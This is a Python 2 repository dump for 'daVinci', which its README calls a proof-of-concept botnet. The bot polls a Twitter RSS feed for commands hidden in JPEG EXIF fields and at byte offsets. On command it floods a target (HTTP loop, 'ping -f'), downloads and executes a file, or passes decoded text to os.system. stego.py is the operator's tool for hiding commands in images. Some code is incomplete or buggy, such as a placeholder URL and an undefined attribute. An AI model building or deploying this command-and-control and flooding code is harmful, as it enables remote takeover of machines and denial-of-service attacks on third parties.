└── daVinci ├── .project ├── .pydevproject ├── README ├── daVinci.py ├── ddos.py ├── jpeg.py ├── netcom.py └── stego.py /daVinci/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | daVinci 4 | 5 | 6 | 7 | 8 | 9 | org.python.pydev.PyDevBuilder 10 | 11 | 12 | 13 | 14 | 15 | org.python.pydev.pythonNature 16 | 17 | 18 | -------------------------------------------------------------------------------- /daVinci/.pydevproject: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | /daVinci 7 | 8 | python 2.7 9 | Default 10 | 11 | -------------------------------------------------------------------------------- /daVinci/README: -------------------------------------------------------------------------------- 1 | ---------------------------------- 2 | daVinci PoC 3 | ---------------------------------- 4 | A simple twitter run botnet, 5 | which sends commands via stego- 6 | jpegs -------------------------------------------------------------------------------- /daVinci/daVinci.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | import time 5 | 6 | from ddos import attack 7 | from netcom import network 8 | from jpeg import stegoJpeg 9 | from subprocess import Popen, PIPE 10 | 11 | class davinci(): 12 | 13 | def __init__(self): 14 | self.net = network() 15 | self.fileSave = 'firefox' 16 | self.updateUrl = 'https://twitter.com/statuses/user_timeline/243085506.rss' 17 | self.failSafeUrl = '' 18 | self.standardSleep = 30 19 | 20 | def loopPhoneHome(self): 21 | ''' Indefinantly calls home every "standardSleep" number of seconds ''' 22 | while True: 23 | self.phoneHome() 24 | print ' [*] Starting standard sleep (%d) seconds...' % self.standardSleep 25 | time.sleep(self.standardSleep) 26 | 27 | def phoneHome(self): 28 | ''' Calls home (checks twitter feed) for updates ''' 29 | print ' [+] Calling home to check for new commands from my master...' 30 | self.net.parseXml(self.updateUrl) 31 | if '.jpg' in self.net.xmlItems['bidding']: 32 | picture = self.net.xmlItems['bidding'] 33 | self.fileUrl = self.net.getXmlValue('http://', '.jpg', picture, False) 34 | print ' [*] New command found, I must download: %s' % self.fileUrl 35 | self.getFile('.jpg') 36 | self.update = stegoJpeg(self.fileSave + '.jpg') 37 | self.meta = self.update.getMetadata() 38 | self.commandLookUp(self.meta['make']) 39 | elif '.exe' in self.net.xmlItems['bidding']: 40 | print ' [!] No code here yet, try again later' 41 | else: 42 | print ' [*] No command from master at this time' 43 | 44 | def getFile(self, extension): 45 | print ' [*] Getting remote file: %s' % self.fileUrl 46 | self.net.getFile(self.fileUrl, self.fileSave + extension) 47 | 48 | def getMessage(self): 49 | offset = int(self.meta['iso']) 50 | message = self.update.readOffset(offset) 51 | return message 52 | 53 | def commandLookUp(self, command): 54 | print ' [*] Command type:', 55 | if command == 'Canon': 56 | print 'Denial of Service...' 57 | target = self.getMessage() 58 | attack().action(target) 59 | elif command == 'Nikon': 60 | print 'Download and execute...' 61 | url = 'someXe' 62 | self.net.getFile(url, self.exeSave[0]) 63 | self.execute(self.exeSave[0]) 64 | elif command == 'Sony': 65 | print 'System Call' 66 | command = self.getMessage() 67 | os.system(command) 68 | elif command == 'Casio': 69 | print '0x90' 70 | time.sleep(300) 71 | 72 | def execute(self, command): 73 | reply = Popen(command, stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate() 74 | print reply 75 | 76 | if __name__ == '__main__': 77 | try: 78 | davinci().loopPhoneHome() 79 | except KeyboardInterrupt: 80 | print '\n [*] User exit, please run again!' -------------------------------------------------------------------------------- /daVinci/ddos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import time 4 | import thread 5 | import urllib2 6 | 7 | from os import system 8 | 9 | class attack(object): 10 | 11 | def __init__(self): 12 | self.target = '' 13 | self.threads = 5 14 | self.duration = 300 15 | self.timeout = 15 16 | 17 | def action(self, type): 18 | if type == 'http': 19 | for thread in self.threads: 20 | thread.start_new(self.http) 21 | time.sleep(self.duration) 22 | elif type == 'ping': 23 | for thread in self.threads: 24 | thread.start_new(self.ping) 25 | time.sleep(self.duration) 26 | 27 | def http(self): 28 | request = urllib2.Request(self.target) 29 | while True: 30 | connection = urllib2.urlopen(request) 31 | data = connection.read(1024) 32 | if not len(data): 33 | continue 34 | 35 | def ping(self): 36 | if len(self.target) > 0: 37 | system('ping -f %s' % self.target) 38 | else: 39 | print ' [!] "%s" is not a valid target' % self.target 40 | 41 | if __name__ == '__main__': 42 | attack().action() -------------------------------------------------------------------------------- /daVinci/jpeg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | import mmap 5 | import base64 6 | import pyexiv2 7 | import binascii 8 | 9 | class stegoJpeg(): 10 | 11 | def __init__(self, path): 12 | self.image = pyexiv2.ImageMetadata(path) 13 | self.image.read() 14 | self.imagePath = path 15 | 16 | def getMetadata(self): 17 | metadata = {} 18 | metadata['make'] = self.image['Exif.Image.Make'].raw_value 19 | metadata['iso'] = self.image['Exif.Photo.ISOSpeedRatings'].raw_value 20 | return metadata 21 | 22 | def readOffset(self, offset=1337): 23 | message, byte = [], '' 24 | file = open(self.imagePath, 'r+') 25 | size = os.path.getsize(self.imagePath) 26 | map = mmap.mmap(file.fileno(), size) 27 | if offset < size: 28 | map.seek(offset) 29 | print ' [*] Reading hidden byte stream...' 30 | while (byte != '\x00'): 31 | byte = map.read_byte() 32 | if byte != '\x00': 33 | message.append(byte) 34 | else: 35 | print ' [*] Read (%d bytes):' % len(message), 36 | print ''.join(message), 37 | message = binascii.unhexlify(''.join(message)) 38 | print '(%s)' % base64.decodestring(message) 39 | else: 40 | print ' [!] File is too small (%d), can\'t jump to offset' % size 41 | return base64.decodestring(message) 42 | -------------------------------------------------------------------------------- /daVinci/netcom.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import urllib2 4 | 5 | class network(): 6 | 7 | def __init__(self): 8 | self.page = [] 9 | self.xmlItems = {} 10 | 11 | def getPage(self, url): 12 | ''' Get web page from url, data is stored in self.page ''' 13 | self.page = [] 14 | request = urllib2.Request(url) 15 | connection = urllib2.urlopen(request) 16 | while True: 17 | data = connection.read(1024) 18 | if not len(data): 19 | break 20 | print ' [<] Got %d byte(s) from %s' % (len(data), url) 21 | self.page.append(data) 22 | 23 | def getFile(self, url, saveTo): 24 | ''' Download a remote file from url and writes it to "saveTo" ''' 25 | remoteSite = urllib2.urlopen(url) 26 | file = open(saveTo, 'w') 27 | meta = remoteSite.info() 28 | fileSize = int(meta.getheaders('Content-Length')[0]) 29 | print ' [<] Downloading: %s' %saveTo.split('\\')[-1], 30 | fileSize_dl = 0 31 | block = 1024 32 | while True: 33 | buffer = remoteSite.read(block) 34 | if not buffer: 35 | break 36 | fileSize_dl += block 37 | file.write(buffer) 38 | status = r'[%3.0f%%] %10d bytes' % (fileSize_dl * 100. / fileSize, fileSize_dl) 39 | status = status + chr(8)*(len(status)+1) 40 | print status, 41 | print '\n [*] Download Completed!' 42 | file.close() 43 | 44 | def __getXmlItems__(self, xml): 45 | ''' Used to help parse the XML from twitter ''' 46 | self.xmlItems = {} 47 | item = xml[xml.find('')+len(''):xml.find('')] 48 | self.xmlItems['bidding'] = self.getXmlValue('', '', item) 49 | self.xmlItems['time'] = self.getXmlValue('', '', item) 50 | 51 | def getXmlValue(self, start, end, item, strip=True): 52 | ''' Used to retrieve a value from the XML data ''' 53 | startIndex = item.find(start)+len(start) 54 | endIndex = item.find(end) 55 | if strip: 56 | return item[startIndex:endIndex] 57 | else: 58 | return item[startIndex-len(start):endIndex+len(end)] 59 | 60 | def parseXml(self, url): 61 | ''' Used to parse the XML from twitter ''' 62 | self.getPage(url) 63 | if self.page != None: 64 | xml = ''.join(self.page) 65 | self.__getXmlItems__(xml) 66 | print ' [*] Got update, posted at: %s' % self.xmlItems['time'] 67 | else: 68 | print ' [!] Unable to get the page through the tubes.' -------------------------------------------------------------------------------- /daVinci/stego.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | import sys 5 | import mmap 6 | import base64 7 | import pyexiv2 8 | import binascii 9 | 10 | class stegoJpeg(): 11 | 12 | def __init__(self, path): 13 | self.imagePath = path 14 | self.image = pyexiv2.ImageMetadata(path) 15 | self.image.read() # Metadata is stored in the 'image' object 16 | 17 | def displayMetadata(self): 18 | print ' [*] Current image metadata:' 19 | for key in self.image.keys(): 20 | print '\t[+] KEY: ', key 21 | 22 | def modifyMetaTag(self): 23 | self.displayMetadata() 24 | tag = raw_input(' [?] Tag name: ') 25 | try: 26 | print ' [*] Current value: ', self.image[tag].raw_value 27 | self.image[tag] = raw_input(' [?] Set new tag value: ') 28 | except: 29 | print ' [!] %s is not a valid tag, try again' % tag 30 | sys.exit() 31 | self.image.write() 32 | print ' [+] Wrote data to file.' 33 | 34 | def writeOffset(self, message, offset=1337): 35 | message = base64.encodestring(message) 36 | message = binascii.hexlify(message) 37 | print ' [*] Message is (%d bytes): %s' % (len(message), message) 38 | self.image['Exif.Photo.ISOSpeedRatings'] = offset 39 | self.image.write() 40 | print ' [+] Wrote new metadata to ISOSpeedRatings: %d' % offset 41 | file = open(self.imagePath, 'r+') 42 | size = os.path.getsize(self.imagePath) 43 | map = mmap.mmap(file.fileno(), size) 44 | print ' [*] File size...', 45 | if offset + len(message) < size: 46 | print 'Ok.' 47 | map.seek(offset) 48 | print ' [*] Writing byte stream, please wait...', 49 | for byte in message: 50 | map.write_byte(byte) 51 | map.write_byte('\x00') 52 | else: 53 | print 'too small!' 54 | map.close() 55 | print 'done!' 56 | 57 | def readOffset(self, offset=1337): 58 | message, byte = [], '' 59 | file = open(self.imagePath, 'r+') 60 | size = os.path.getsize(self.imagePath) 61 | map = mmap.mmap(file.fileno(), size) 62 | if offset < size: 63 | map.seek(offset) 64 | print ' [*] Reading hidden byte stream...' 65 | while (byte != '\x00'): 66 | byte = map.read_byte() 67 | if byte != '\x00': 68 | message.append(byte) 69 | else: 70 | print ' [*] Read (%d bytes):' % len(message), 71 | print ''.join(message), 72 | print '(%s)' % base64.decodestring(binascii.unhexlify(''.join(message))) 73 | else: 74 | print ' [!] File is too small (%d), can\'t jump to offset %s' % (size, offset) 75 | 76 | if __name__ == '__main__': 77 | try: 78 | if not os.path.exists(sys.argv[1]): 79 | print ' [*] File (%s) not found.' % sys.argv[2] 80 | sys.exit() 81 | jpg = stegoJpeg(sys.argv[1]) 82 | 83 | if sys.argv[2] == '--meta' or '-m' == sys.argv[2]: 84 | jpg.modifyMetaTag() 85 | elif sys.argv[2] == '--writeoff' or '-w' == sys.argv[2]: 86 | if len(sys.argv) == 4: 87 | jpg.writeOffset(sys.argv[3]) 88 | else: 89 | jpg.writeOffset(raw_input(' [?] Message: ')) 90 | elif sys.argv[2] == '--readoff' or '-r' == sys.argv[2]: 91 | jpg.readOffset(int(sys.argv[3])) 92 | elif sys.argv[2] == '--all' or '-a' == sys.argv[2]: 93 | jpg.displayMetadata() 94 | except KeyboardInterrupt: 95 | print '\n [*] User Exit' 96 | 97 | --------------------------------------------------------------------------------